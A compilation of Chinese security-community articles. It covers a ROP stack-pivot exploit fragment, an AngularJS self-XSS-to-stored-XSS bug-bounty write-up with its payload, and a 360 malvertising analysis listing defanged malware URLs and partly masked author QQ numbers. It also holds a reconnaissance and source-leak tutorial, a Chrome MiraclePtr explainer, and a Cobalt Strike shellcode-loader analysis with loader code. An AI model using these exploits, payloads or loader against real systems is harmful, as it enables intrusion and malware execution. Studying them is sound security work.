payload1 += p32(call_eax)
p.sendline(payload1)
p.recvuntil("> ")
payload2 ='a'*(0x28+0x04)
payload2 += p32(pop_eax)
payload2 += p32(heap)
payload2 += p32(xchg_eax_esp)
p.sendline(payload2)
p.recvuntil("into libpivot.so")
p.interactive()
'''
0x080488c0 : pop eax ; ret
0x08048571 : pop ebx ; ret
0x080488c2 : xchg eax, esp ; ret
0x080488c4 : mov eax, dword ptr [eax] ; ret
0x080486a3 : call eax
0x080488c7 : add eax, ebx ; ret
'''
其实栈迁移（or栈翻转，栈伪造，其实都是一个意思）我们一般用leave;ret,上面64位有0x0a，所以用不了
上面的stack pivot可以用如下payload：
leave_ret = 0x080486a8
p.recvuntil("> ")
payload = "a" * 40
payload += p32(heap_addr - 4)
#因为后面的leave会pop ebp，所以这减4
payload += p32(leave_ret)
# 总结
通过这些题目的练习，是可以提高对rop的利用能力的，尤其是在没法遇到pop xxx
ret这样的直接传值gadget的时候，就需要想尽办法去间接的传递赋值，另外我发现ropemporium的官网似乎要全局梯子才能访问，我就把题目打包上去了，方便大家练习 | 社区文章 |
原文：[Self XSS to Interesting Stored
XSS](https://nahoragg.github.io/bugbounty/2018/12/15/Self-XSS-to-Interesting-Stored-XSS.html)
作者：[rohan aggarwal@nahoragg](https://twitter.com/nahoragg)
我在Hackerone的一个程序中找到了这个XSS。关于这个存储型XSS的有趣之事在于：它反映了我尝试通过某种办法升级self-xss，好运眷顾，我成功了。
此外，我不能透露这个程序的名字，因为他们要求不要，但是如果你发现了它，我并不感到惊讶。
那么让我们来看看这个网站，我们称之为`redacted.com`
我在`redacted.com`上耗费了几个小时，试图在上面得到一个xss漏洞，但即使我找到了一个，它也会因为网站正确编码了所有内容而变成一个self-xss。
这不是一个大型网站，在每个端点尝试了XSS后，我放弃了，继续查找其他漏洞。
第二天，我在HackerOne读到了一篇关于[AngularJS的模板注入](https://hackerone.com/reports/250837)的文章，并且我所遇到的情况与其相似，我之前并不知道还有这种操作。回到`redacted.com`，它也运行AngularJS。
所以我尝试了一个简单的表达式，如`{{4*4}}`
如果不进行编码就会显示16，最后找到一个不进行编码的地方。现在我可以使用这个payload来产生xss了
{{constructor.constructor('alert("XSS")')()}}
好极了！！！我发现了XSS，一分钟后我意识到。。。。DAMN，这是一个self-xss！
现在怎么办？？？
经过了几个小时的搜索之后，我找到了一个有趣的地方，它正在执行并且不需要任何的身份验证。
介绍下这个有趣的程序的背景：它有一个通过电子邮件发送报告的功能(无论这个网站在做什么)，我们可以给报告自定义敏子。这些报告是敏感的，只有能由经过身份验证的用户查看。我之前找到的那个self-xss是存在于报告的名称之中，由于报告只能由经过身份验证的用户查看，即只能我自己查看，无法在其他用户的报告上执行，所以才只是一个self-xss，但真的是这样吗？
我利用了这个功能，向我的邮箱发送了一个报告，发现一个小的取消订阅连接隐藏在角落里
打开链接，BOOM！它显示了报告的名字，没有经过任何身份验证！
柳暗花明了！报告的名称可控并且存在xss，任何人都可以看到这个名称，那么它有可能从一个self-xss升级成存储型xss！
是时候测试它是否编码了大括号
回到发送报告功能，将报告名称命名为之前的payload：
并且保存发送，再次打开取消订阅的链接，BOOM！这是一个存储型XSS。
现在，任何人都可以打开取消订阅链接，xss将被执行。无论受害人是否经过身份验证，这适用于任何人。
Lesson Learned：
1. 查看应用程序上正在运行的技术并找到它们特定的漏洞
2. 在无聊时于都hackerone披露的报告
3. **Try Harder On Everything In Application** ，我阅读了很多文章，但是从没有遇到过在电子邮件取消订阅链接中获得xss的经历，我本来可以报告self-xss，但是我花了更多时间，幸运的得到了更多。 | 社区文章 |
# 网络暗黑世界的“域影”攻击：运营商劫持LOL等客户端海量级挂马
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**一、起因**
从上周末开始，360互联网安全中心监控到一批下载者木马传播异常活跃。到3月7号，拦截量已经超过20W次，同时网页挂马量的报警数据也急剧增加。在对木马的追踪过程中，我们发现木马的传播源头竟然是各家正规厂商的软件，其中来自英雄联盟和QQLive的占了前三天传播量的95%以上。而在受感染用户分布中，河南竟占到了72%。
木马传播源TOP：
英雄联盟AirLolClient.exe
QQLiveBrowser.exe
youkupage.exe
QyFragment.exe
QQGAMESNSWebBrowserIEProc.exe
SogouInput7.4.1.4880SohuNews.exe
网上的用户反馈：
**
**
**二、挂马过程分析：**
在对数据分析之后，我们确认，这次攻击事件和去年通过视频客户端挂马是同一个团伙所为，使用的技术手段也比较相似。（《祸起萧墙：由播放器引爆的全国性大规模挂马分析》http://blogs.360.cn/360safe/2015/06/26/trojan-pass-player/）本次木马传播，主要是通过运营商（ISP）对用户的网络访问做内容劫持，在html代码中插入一段iframe的广告代码所引起的。在这段广告代码中，为客户端引入了带挂马攻击的flash文件。而国内仍有很多桌面客户端使用旧版带有漏洞的flash插件，如英雄联盟，QQLive等。flash的漏洞，造成了这些客户端本身易受攻击，而客户端本身也没有做安全防护，没有对通信进行加密，在ISP的攻击面前不堪一击。如果用户计算机此时又没有安装带有漏洞防护功能的安全软件，就会造成用户计算机被感染。
从联系到的用户那里来看，用户的出口IP属于河南郑州移动网络：
在联系用户追查问题的时候，发现用户打开任何网页的时候都有可能中毒，显然并不是特定网站被挂马导致的。该用户在打开了一个凤凰网新闻页面的时候便触发了木马，于是我们查看该网页，发现了如下代码：
很显然，在一个itemscope的div元素下，出现了一个指向majore.b0.upayun.com的脚本元素和一段iframe嵌入页面。
而在分析人员自己的机器中（北京市电信）访问相同的页面，则显然没有这两个元素：
更为关键的是iframe中又嵌入了一层iframe指向muhlau.cn这个域名。为了方便查看，我们单独打开了这个页面，呈现出来的是一个看似正常的flash广告动画，但仔细看代码发现——这里面还有两层iframe嵌套，而在最里层的，是一个根本看不到的flash文件（截图中红框圈出来的就是这个看不见的flash文件的位置）
同时，查看浏览器的Network监控，也确认确实加载了这个swf文件：
拿到swf文件后分析来看，本身并没有什么实质性的动画内容，反倒是含有一段经过doswf加密的脚本：
通过抓取内存dump可以看到明显的shellcode字串以及加载shellcode的代码：
含有恶意代码的flash文件一旦被带有漏洞的flash插件展示，便会触发木马下载动作，从3g4s.net域名下获取一个可执行文件，下载到本地并执行。
**三、挂马数据展示：**
此次挂马，攻击者通过“上海米劳广告传媒有限公司”投放的广告内容。
主要的挂马页面：
hxxp://www.muhlau.cn/1/index001.html
hxxp://majore.b0.upaiyun.com/06/media_1.html
所挂的flash木马：
hxxp://www.ip.muhlau.cn/LSQZA.swf
服务器地址：222.186.59.36(江苏省镇江市 电信)
截至我们发稿时，flash攻击代码已经有超过1000W次的独立用户访问。单在3月9号一天，就有534W独立用户访问到了挂马页面。
一分钟内，有超过6800次的访问。
挂马页面的引用来源，主要是广告主的广告跳转页面：
地区分布可以看出，河南占65%以上：
防护中心3月9日，单天统计到的木马传播趋势：
**四、木马分析：**
此次木马传播者准备了大量木马的免杀版本，在对抗过程中，高峰时木马每分钟均会更新一个版本，并针对多款安全软件做免杀处理。木马本身是一个简单下载者加广告程序，但更新极为频繁，仅3月9号一天就更新超过300次。
客户端被flash挂马之后下载执行木马的情况截图：
捕获的各种挂马程序：
360安全卫士拦截木马启动：
被恶意flash文件下载到本地后以ad为参数执行；而广告程序通过判断启动参数来决定执行什么行为：
同时，还会检查当前系统环境来判断自己是否在虚拟机环境中：
在确认可以正常运行后，广告程序会先访问指定的推广服务器获取推广列表：
之后则根据推广列表的内容打开一个淘宝页面来推广其淘宝店并弹出广告弹窗：
写入开机启动项：
安装大批推广程序：
**五、木马作者追踪：**
在整个木马传播过程中，有3个团体参与其中。
渠道由ISP负责，向页面中插入广告，它可以控制其全部用户。
广告商是来自上海的米劳传媒，其控制下面几个挂马传播服务器：
hxxp://www.muhlau.cn/1/index001.html
hxxp://majore.b0.upaiyun.com/06/media_1.html
hxxp://www.ip.muhlau.cn/LSQZA.swf
222.186.59.36
真正的木马作者，控制着swf挂马文件触发之后的全部服务器：
服务器ip：58.218.205.91
hxxp://down.3g4s.net/files/DeskHomePage_179_1.exe
hxxp://down.seakt.com/tpl.exe
hxxp://tj.takemego.com:808
hxxp://tj.kissyouu.com:808
hxxp://tj.take1788.com
服务器ip：58.218.204.251
hxxp://down.shangshuwang.com/tpl.exe
对这些服务器whois查询发现，服务器均为今年2月左右新注册域名，并且均作了隐私保护，可谓非常之狡猾。
木马作者使用的是微软IIS+ASP的服务器：
通过挂马服务器后台发现，攻击者来自四川省南充市
218.89.82.229（四川省南充市 电信） 2016/03/08 08:49:55
139.203.94.136（四川省南充市 电信）2016/03/08 13:25:39
对其进一步分析，我们获取到了木马作者的联系方式：
作者QQ：31577675**（主号，不常用）
测试使用QQ5542447**（不常用）
1256403**主号（常用）
通过网上信息，可以看做作者已经从事黑产很多年了。
还有这个团伙使用的商务推广联盟
QQ1062790099
商务合作渠道QQ2797719791
通过获取到的各方面信息，我们分析出了这个推广团伙的策略手段。首先他们会通过广告商购买渠道的广告展示量，这个过程中，他们会选择一些监管不严的广告商，使自己带有木马的广告不至于被发现。其次会选取客户端软件来展示广告，由于大多数浏览器会升级flash插件，会影响其木马传播。攻击者更青睐于防护脆弱的客户端软件，最后通过传播的下载者推广软件和广告变现。
**
**
**安全建议：**
做为互联网的基础服务商，运营商应该注意自身行为，切莫使自己的商业广告行为成为木马传播的帮凶；而各大客户端软件，更应该注重用户计算机的安全体验，做好自身漏洞的修复，及时更新所使用的第三方插件，不要再因为已知的软件漏洞再给用户带来安全风险；作为责任的软件厂商，也需要积极推进流量数据加密，来预防在通信过程中被劫持的情况发生；对于广大用户来说，使用一款靠谱的安全软件，开启软件的实时防护尤为重要。 | 社区文章 |
## 信息收集概述
信息收集一般都是渗透测试前期用来收集，为了测试目标网站，不得不进行各种信息收集。信息收集要根据不同目标进行不同方向收集，工具部分会在下节课程进行讲解，根据个人渗透测试经验总结文章。本文只是抛砖引玉，希望可以给大家一个好的思路。如果文章中有环境搭建部分，靶场后续会在公众号中发布。视频在关注公众号以后，回复我要视频，管理员会在最快时间进行回复。
首先公开上一节中一张图，开始今天主题讲解。
**信息收集思维导图**
* * *
## 信息收集
### 1、robots.txt
当一个搜索蜘蛛访问一个站点时，它会首先检查该站点根目录下是否存在`robots.txt`，如果存在，搜索机器人就会按照该文件中的内容来确定访问的范围；如果该文件不存在，所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。
`robots.txt`基本上每个网站都用，而且放到了网站的根目录下，任何人都可以直接输入路径打开并查看里面的内容，如<http://127.0.0.1/robots.txt>
，该文件用于告诉搜索引擎，哪些页面可以去抓取，哪些页面不要抓取。
为了让搜索引擎不要收录`admin`页面而在`robots.txt`里面做了限制规则。但是这个`robots.txt`页面未对用户访问进行限制，可任意访问，导致可通过该文件了解网站的结构，比如admin目录、user目录等等。
怎样即使用`robots.txt`的屏蔽搜索引擎访问的功能，又不泄露后台地址和隐私目录呢？
有，那就是使用星号（/*）作为通配符。举例如下：
User-agent:*
Disallow: /a*/
这个设置，禁止所有的搜索引擎索引根目录下a开头的目录。当然如果你后台的目录是`admin`，还是有可以被人猜到，但如果你再把`admin`改为`adminzvdl`呢？
### 2、网站备份压缩文件
管理员在对网站进行修改、升级等操作前，可能会将网站或某些页面进行备份，由于各种原因将该备份文件存放到网站目录下，该文件未做任何访问控制，导致可直接访问并下载。可能为`.rar、zip、.7z、.tar.gz、.bak、.txt、.swp`等等，以及和网站信息有关的文件名`www.rar、web.rar`等等
### 3、Git导致文件泄露
由于目前的`web`项目的开发采用前后端完全分离的架构:前端全部使用静态文件，和后端代码完全分离，隶属两个不同的项目。表态文件使用 git
来进行同步发布到服务器，然后使用`nginx` 指向到指定目录，以达到被公网访问的目的。
在运行`git
init`初始化代码库的时候，会在当前目录下面产生一个`.git`的隐藏文件，用来记录代码的变更记录等等。在发布代码的时候，把`.git`这个目录没有删除，直接发布了。使用这个文件，可以用来恢复源代码
### 4、DS_store导致文件泄露
`.DS_Store`是`Mac`下`Finder`用来保存如何展示文件//文件夹的数据文件，每个文件夹下对应一个。
由于开发/设计人员在发布代码时未删除文件夹中隐藏的`.DS_store`，可能造成文件目录结构泄漏、源代码文件等敏感信息的泄露。
我们可以模仿一个环境，利用`phpstudy`搭建`PHP`环境，把`.DS_store`文件上传到相关目录。
然后利用工具进行相关检测
工具下载地址：<https://github.com/lijiejie/ds_store_exp>
为了让实验更真实，我们在本地搭建环境，然后建立一个文件夹为admin和一个hello文件夹，利用该工具运行完以后，查看工具文件夹查看有什么结果。
此文件和我们在一个文件夹内，如果是苹果用户，把文件copy到相关服务器目录以后，都会默认带一个文件`.DS_Store`。首先访问`test.php`文件，查看环境是否成功。
环境搭建成功
我们利用工具进行测试，运行完如上图，运行完以后我们可以到工具目录进行查看
这是一个`.DS_Store`文件泄漏利用脚本，它解析`.DS_Store`文件并递归地下载文件到本地。
### 5、SVN导致文件泄露
`Subversion`，简称`SVN`，是一个开放源代码的版本控制系统，相对于的`RCS、CVS`，采用了分支管理系统，它的设计目标就是取代`CVS`。互联网上越来越多的控制服务从`CVS`转移到Subversion。
`Subversion`使用服务端—客户端的结构，当然服务端与客户端可以都运行在同一台服务器上。在服务端是存放着所有受控制数据的`Subversion`仓库，另一端是`Subversion`的客户端程序，管理着受控数据的一部分在本地的映射（称为“工作副本”）。在这两端之间，是通过各种仓库存取层`（Repository
Access，简称RA）`的多条通道进行访问的。这些通道中，可以通过不同的网络协议，例如`HTTP、SSH`等，或本地文件的方式来对仓库进行操作。
SVN漏洞在实际渗透测试过程中，利用到也比较多，由于一些开发管理员疏忽造成，原理类似DS_Store漏洞。我们这里不再进行搭建环境，给大家推荐工具，利用方法如下：
> 1) 漏洞利用工具：`Seay SVN`漏洞利用工具
> 2) 添加网站url
在被利用的网址后面加 /.svn/entries，列出网站目录，甚至下载整站
下载地址：<https://pan.baidu.com/s/1jGA98jG>
### 6、WEB-INF/web.xml泄露
`WEB-INF`是`Java`的WEB应用的安全目录。如果想在页面中直接访问其中的文件，必须通过web.xml文件对要访问的文件进行相应映射才能访问。
WEB-INF主要包含一下文件或目录：
**/WEB-INF/web.xml** ：Web应用程序配置文件，描述了 servlet 和其他的应用组件配置及命名规则。
**/WEB-INF/classes/** ：含了站点所有用的 class 文件，包括 servlet class 和非servlet
class，他们不能包含在 .jar文件中
**/WEB-INF/lib/** ：存放web应用需要的各种JAR文件，放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
**/WEB-INF/src/** ：源码目录，按照包名结构放置各个java文件。
**/WEB-INF/database.properties** ：数据库配置文件
> 原因：
>
> 通常一些web应用我们会使用多个web服务器搭配使用，解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等。在使用这种架构的时候，由于对静态资源的目录或文件的映射配置不当，可能会引发一些的安全问题，导致web.xml等文件能够被读取
#### 6.1、环境搭建
我们需要利用jsp源码给大家进行示范，所以前提需要下载一个jsp环境，这里我们选取jspstudy进行示范。下载地址：<http://www.phpstudy.net/phpstudy/JspStudy.zip>
另外一种方法就是直接下载webgoat然后执行文件中webgoat.bat文件即可
下载地址：<http://sourceforge.net/projects/owasp/files/WebGoat/WebGoat5.2/>
#### 6.2、访问页面
访问地址：`http://localhost/,`进入此页面，证明我们tomcat已经启动，我们查看一下web.xml目录在哪里，你可以练习此靶场，靶场在后续会进行讲解。这里我们只讲解此web.xml信息泄露漏洞。如果让用户设置权限不严格，造成一些目录列出，结果是非常严重，我们通过访问web.xml文件，可以查看一些敏感信息，如下图
#### 6.3、扫描
利用工具扫描，我们得知此目录下面有一些敏感文件，我们尝试去访问
#### 6.4、验证结果
首先是一些tomcat登录信息，我们尝试去访问一些其它文件，通过不断尝试目录，有发现了一个sql文件和xml文件。
### 7、Zoomeye搜索引擎使用
`ZoomEye`支持公网设备指纹检索和 Web 指纹检索
网站指纹包括应用名、版本、前端框架、后端框架、服务端语言、服务器操作系统、网站容器、内容管理系统和数据库等。
设备指纹包括应用名、版本、开放端口、操作系统、服务名、地理位置等
#### 7.1、搜索规则
首先，我们讲解下相关的快捷键，提高使用效率
* Shift //: 显示快捷帮助
* Esc: 隐藏快捷帮助
* Shift h: 回到首页
* Shift s: 高级搜索
* s: 聚焦搜索框
#### 7.2、搜索技巧
在设备和网站结果间切换
ZoomEye 将默认搜索公网设备，搜索结果页面左上角有公网设备和 Web 服务两个连接。因此您可以快速切换两种结果。
在输入关键字时，自动展开的智能提示下拉框最底部有两个指定搜索的选项。用方向键选定其中一个，回车即可执行搜索。
`ZoomEye` 使用 `Xmap` 和 `Wmap` ：两个能获取 Web 服务 和公网设备指纹的强大的爬虫引擎定期全网扫描，抓取和索引公网设备指纹。
同样zoomeye也存在一个高级搜索，只需填写你想查询的内容即可，这里不在做过多的介绍。
#### 7.3、实战搜索
我们今天主要讲下如何使用他的语法规则去高级搜索，搜索有用信息。
* 主机设备搜索组件名称
> app: 组件名
> ver: 组件版本
例1：搜索使用iis6.0主机：`app:"Microsoft-IIS"
ver"6.0"`，可以看到0.6秒搜索到41，781,210左右的使用iis6.0的主机。
例2：搜索使weblogic主机：`app:"weblogic httpd"
port:7001`，可以看到0.078秒搜索到42万左右的使用weblogic的主机。
* 端口
port: 开放端口
搜索远程桌面连接：`port:3389`
下面我们搜索下开放ssh功能的服务器：`port:22`
例1：查询开放3389端口的主机：`port:3389`
同理查询22端口开放主机：`port:22`
* 操作系统
`os: 操作系统`。
例：`os:linux`，查询操作系统为Linux系统的服务器
同样，可以查看与Linux相关的漏洞
* 服务
service: 结果分析中的“服务名”字段。
完整的“服务名”列表，请参阅 <https://svn.nmap.org/nmap/nmap-services>
例1：公网摄像头：`service:”routersetup”`
* 位置
> country: 国家或者地区代码。
> city: 城市名称。
完整的国家代码，请参阅: 国家地区代码 - 维基百科
例1：搜索美国的 Apache 服务器：`app:Apache country:US`
* IP 地址
ip: 搜索一个指定的 IP 地址
例：搜索指定ip信息，`ip:121.42.173.26`
* CIDR
CIDR（无类别域间路由，Classless Inter-Domain
Routing）是一个在Internet上创建附加地址的方法，这些地址提供给服务提供商（ISP），再由ISP分配给客户。CIDR将路由集中起来，
使一个IP地址代表主要骨干提供商服务的几千个IP地址，从而减轻Internet路由器的负担。
例1：IP 的 CIDR 网段。`CIDR:114.114.114.114/8`
* Web应用搜索
这里只讲解Web应用的查询方法
site:网站域名。
例子：查询有关taobao.com域名的信息，`site:taobao.com`
title:标题中包含该字符的网站
例：搜索标题中包含该字符的网站，`title:weblogic`
keywords: <meta name="Keywords">定义的页面关键词。
例子：`keywords:Nginx`
desc: <meta name="description">定义的页面说明。
例子：`desc:Nginx`
### 8、bing搜索引擎使用
filetype:仅返回以指定文件类型创建的网页。
若要查找以PDF格式创建的报表，请键入主题，后面加`filetype:pdf`
> inanchor:、inbody:、intitle:
> 这些关键字将返回元数据中包含指定搜索条件（如定位标记、正文或标题等）的网页。为每个搜索条件指定一个关键字，您也可以根据需要使用多个关键字。
> 若要查找定位标记中包含msn、且正文中包含seo和sem的网页，请键入
例：`inanchor:msn inbody:seo inbody:sem`
site:返回属于指定网站的网页。若要搜索两个或更多域，请使用逻辑运算符OR对域进行分组。
您可以使用site:搜索不超过两层的Web域、顶级域及目录。您还可以在一个网站上搜索包含特定搜索字词的网页。
url:检查列出的域或网址是否位于Bing索引中。
请键入`url:sec-redclub.com`
### 9、Fofa搜索
下面我们讲下另一款搜索引擎：Fofa 地址：<https://fofa.so/>
首先我们了解下他的语法
可以看到有许多查询语法，这里我们只介绍几个常用的语句
>
> 引用：该专题分为数据库专题模块与工控专题模块。在数据库专题模块，包含了检索大部分的数据库服务与协议的规则；在工控专题模块，提供了在世界上广泛使用的工业控制协议的介绍与检索。在模块内部您可以通过点击相关链接的方式进行协议或服务的快速查询。
`protocol="https"`，搜索指定协议类型
`app="phpinfo"`搜索某些组件相关系统
`hos/t="sec-redclub.com/"`搜索包含有特定字符的URL
`title="powered by" && title!=discuz`搜索网页标题中包含有特定字符的网页
`title="powered by" && os==windows`搜索网页标题中包含有特定字符并且系统是windows的网页
### 10、站长工具
#### 10.1、站长工具Whois
使用站长工具Whois可以查询域名是否已经被注册，以及注册域名的详细信息的数据库（如域名所有人、域名注册商）
<http://tool.chinaz.com/>
#### 10.2、seo综合查询
seo综合查询可以查到该网站各大搜索引擎的信息,包括收录,反链及关键词排名,也可以一目了然的看到该域名的相关信息,比如域名年龄相关备案等等,及时调整网站优化等等。
<http://seo.chinaz.com/>
#### 10.3、站长工具tool
可以看到有些加密/解密功能，例如MD5、url、js、base64加解密等等 | 社区文章 |
# Google UAF漏洞利用缓解技术MiraclePtr
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
2022年9月13日，Google安全团队在其安全博客中发布了一篇关于MiraclePtr的文章，介绍了Google
Chrome安全团队在缓解UAF漏洞利用上的进展。由于MiraclePtr并不是单指某一种智能指针技术，而是包含了Google安全团队在缓解UAF利用上的多次实验和尝试，本文也仅针对其最新启用的BackupRef方案做介绍，如有疏漏错误，敬请斧正，共同交流探讨。
## MiraclePtr
首先需要明确，MiraclePtr与unique_ptr、weak_ptr等C++中的原始智能指针并不是同一概念，它是Google安全团队在缓解由指针引起的内存破坏漏洞过程中，提出的多种方案集合，其本质是希望将原始指针迁移到带缓解方案的智能指针类，通过引用计数、指针标记等方式阻止攻击者对内存破坏漏洞被利用，重点解决的是UAF类型漏洞的悬垂指针可被利用的问题。
如上图，Google安全团队认为攻击者在针对Chrome的攻击过程中，通常需要组合一个渲染器漏洞利用和一个沙箱逃逸漏洞来达到完整利用的目的，MiraclePtr可以通过缓解UAF漏洞利用，有效的阻止攻击者针对浏览器主进程中UAF漏洞的利用（上图蓝色部分），让攻击者无法实现完整的利用链，从而降低漏洞危害。
在对Chrome历史可利用漏洞统计中，UAF类型漏洞占了几乎一半，因此MiraclePtr也尝试了包含BackupRefPtr、BorrowPtr、SafePtr、CheckedPtr、MTECheckedPtr、ViewPtr在内的多种方式来缓解UAF类型的漏洞利用，并在对比了各方案在性能开销、内存开销、安全保护、开发人员便利性上的优缺点后，近期在Windows和Android的Chrome
102稳定版中启用了BackupRefPtr，下文只重点介绍BackupRefPtr，其他方案详细信息查看参考链接中的内容。
## BackupRefPtr方案
BackupRefPtr提出了依赖“确定性引用计数”的指针保护方案，主要借鉴了CheckedPtr2、SafePtr和BorrowPtr的思路，并且需要Chrome的堆内存分配器PartitionAlloc支持。在2020年，Google
ProjectZero在博客公布的一篇采用CPU漏洞侧信道攻击来泄漏缓存数据，从而实现Chrome沙箱逃逸的文章，证明了依赖指针标记的方案有潜在的被通过侧信道攻击的风险，出于安全性考虑，确定性引用计数的方案成了优先选择。
PartitionAlloc是Chrome中自行实现的堆分配器，主要在分配效率、内存空间利用率和安全性上进行了优化。PartitionAlloc使用2MB大小的超级页面作为普通数据桶，每个超级页面被分割成多个分区。第一个和最后一个分区是永久不可访问的，用来当作保护页面，在第一个分区页中间的一个系统页面保存了元数据（metadata），这些元数据提供了对内存对象的跟踪能力，BackupRefPtr使用到的引用计数就存储在metadata中。
在Chromium的源码实现中，BackupRefPtr是一个线程安全的引用计数指针类，可以非常简单的替换原始指针，Chromium团队在引入BackupRefPtr时也一次性替换了源码之中超过15000个原始指针。BackupRefPtr的引用计数存储在PartitionAlloc元数据中（与CheckedPtr2方案使用同一标志位），如果在销毁一个对象时，它的引用计数不为零，则会将该对象标记为被污染，此时程序不会真正的释放该内存，而是在再次访问被破坏的对象时，程序将发生主动崩溃。
该方案PoC代码如下，具体实现可参考Chromium源码raw_ptr.h中的BackupRefPtrImpl类：
template <typename T>
class BackupRefPtr {
BackupRefPtr(T* ptr) : ptr_(ptr) {
if (!isSupportedAllocation(ptr))
return;
atomic _int & ref_count = _(cast <atomic_int_>(ptr) – 1);
CHECK(++ref_count);
}
~BackupRefPtr() {
if (!isSupportedAllocation(ptr_))
return;
atomic _int & ref_count = _(cast <atomic_int_>(ptr) – 1);
if (—ref_count == 0) // needed in case the BackupRefPtr outlives
// its pointee and has to free the slot
PartitionAlloc::ActuallyFree(ptr_);
}
T _operator- >() { return ptr_; }
T_ ptr_;
};
void _Alloc(size_t size) {
void_ ptr = ActuallyAlloc(size);
if (isSupportedAllocation(ptr)) {
int& ref_count = _(cast <int_>(ptr) – 1);
ref_count = 1; // We need to set the reference count to one initially
// otherwise |~BackupRefPtr| can trigger deallocation of
// an object that’s still alive.
}
return ptr;
}
void Free(void _ptr) {
if (isSupportedAllocation(ptr)) {
atomic_int& ref_count = _(cast<atomic_int*>(ptr) – 1);
if (ref_count != 1)
memset(ptr, 0xcc, getAllocationSize(ptr));
if (—ref_count != 0)
return;
}
ActuallyFree(ptr);
}
## 总结
BackupRefPtr通过上述机制，解决了悬垂指针（Dangling
Pointer）被利用的问题，在该方案中，发生释放操作但引用计数不为0的对象并没有被真正释放，攻击者无法使用堆喷射等方式重新分配该对象的内存空间，并且在对象再次被访问时，该内存区域被填充了污染标志或发生主动崩溃，UAF漏洞被缓解为内存泄漏、断言失败或空指针等无法利用的崩溃。
整体而言，该机制的引入进一步降低了Chrome中可利用漏洞的比例，一定程度上提高了Chrome的安全性。
## 参考链接
1、Use-after-freedom: MiraclePtr
<https://security.googleblog.com/2022/09/use-after-freedom-miracleptr.html>
2、Pointer Safety Ideas [PUBLIC] – Comparison of Use-After-Free mitigation
proposals
<https://docs.google.com/document/d/1qsPh8Bcrma7S-5fobbCkBkXWaAijXOnorEqvIIGKzc0/edit>
3、BackupRefPtr
<https://docs.google.com/document/d/1m0c63vXXLyGtIGBi9v6YFANum7-IRC3-dmiYBCWqkMk/edit#heading=h.jgclb3snutxw>
4、PartitionAlloc Design
<https://chromium.googlesource.com/chromium/src/+/main/base/allocator/partition_allocator/PartitionAlloc.md>
5、Escaping the Chrome Sandbox with RIDL
<https://googleprojectzero.blogspot.com/2020/02/escaping-chrome-sandbox-with-ridl.html>
6、MDS: Microarchitectural Data Samplin
<https://mdsattacks.com/> | 社区文章 |
本文是炒冷饭系列，纯是自己入坑逆向不长时间，为了满足好奇心的心血来潮之作，如是入不了一些高手师傅的法眼，还请多指教。 **(^__^) 嘻嘻……**
## 准备工作
为了更好的分析，做最简单，最方便的准备工作。
首先，用裸ip直接生成一个cs的shellcode，用的是分离式的
然后生成的是x86的，也就是32位的c语言的shellcode。
生成代码其实就是一个大小千字节左右的，无符号字符数组，把这段16进制数放到010editor（一个常用的编辑工具）里查看，除了执行代码外，还有一部分写死的数据，比如User-Agent，IP或域名等。
就把这段代码加载到内存去执行，来进一步分析，加载的代码如下：
unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\...(省略)";
void start()
{
printf("begin....");
//分配内存，可读可写可执行
char*start = (char*)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(start, buf, sizeof(buf));
__asm
{
mov eax, start
call eax
}
}
我是用vs进行编译生成的，为了方便做一些修改，关掉随机基址
如果运行环境（虚拟机）和编译环境（物理机）不同，可以把运行库改成MTD，省的运行时候缺少模块报错，然后生成即可
## 1.第一阶段
因为类似文章不少，所以我不卖关子，分离式shellcode第一阶段的主要任务是从远端再次加载一段shellcode，然后加载进入内存进行执行，所以我们来看他是如何获取与加载的。
### 1.1功能函数
把生成的exe文件放到X64dbg中来调试（32位的），进入之后先跳了两次，获取了一下当前EIP位置
//利用这种方式保存下一条语句的地址，即EIP，而这个位置很关键
call xxx
其他语句
pop ebp
然后跳到的位置是一段连续的，非常有规律的代码段，可以大胆推测，这是在调用一个统一的函数，而传入的参数的特点是，第一个参数（入栈顺序和参数顺序相反）是一串4个字节大小的16进制数，其他参数各有不同。
而这第一个参数应该就是传说中的特征码
我们来跟进看一下这个所谓的“函数”做了什么，首先刚刚传入的参数中，除了特征码外，还有一个字符数组，其ascii值对应的字符刚好就是‘wininet’，想必是要加载这个模块吧，那我们就带着这个问号，来看后面的执行过程
#### 1.1.1获取模块基址
第一段：了解的师傅会很熟悉，在三环fs寄存器存放的一个叫做TEB的结构体，也就是线程环境块，结构如下：
这个结构体位于0x30的位置，保存了当前的PEB，也就是进程环境块，该结构体如下：
//0x1000 bytes (sizeof)
struct _TEB
{
struct _NT_TIB NtTib; //0x0
VOID* EnvironmentPointer; //0x1c
struct _CLIENT_ID ClientId; //0x20
VOID* ActiveRpcHandle; //0x28
VOID* ThreadLocalStoragePointer; //0x2c
//目标位置
struct _PEB* ProcessEnvironmentBlock; //0x30
ULONG LastErrorValue; //0x34
ULONG CountOfOwnedCriticalSections; //0x38
VOID* CsrClientThread; //0x3c
//...(省略)
VOID* ResourceRetValue; //0xfe0
VOID* ReservedForWdf; //0xfe4
ULONGLONG ReservedForCrt; //0xfe8
struct _GUID EffectiveContainerId; //0xff0
};
PEB结构如下：而这个结构中位于0xc的部分有一个`_PEB_LDR_DATA`类型的结构体指针，这里存储着描述进程结构链表的数据
//0x480 bytes (sizeof)
struct _PEB
{
UCHAR InheritedAddressSpace; //0x0
UCHAR ReadImageFileExecOptions; //0x1
UCHAR BeingDebugged; //0x2
union
{
UCHAR BitField; //0x3
struct
{
UCHAR ImageUsesLargePages:1; //0x3
UCHAR IsProtectedProcess:1; //0x3
UCHAR IsImageDynamicallyRelocated:1; //0x3
UCHAR SkipPatchingUser32Forwarders:1; //0x3
UCHAR IsPackagedProcess:1; //0x3
UCHAR IsAppContainer:1; //0x3
UCHAR IsProtectedProcessLight:1; //0x3
UCHAR IsLongPathAwareProcess:1; //0x3
};
};
VOID* Mutant; //0x4
VOID* ImageBaseAddress; //0x8
//目标位置
struct _PEB_LDR_DATA* Ldr; //0xc
struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters; //0x10
//...(省略)
ULONG NtGlobalFlag2; //0x478
};
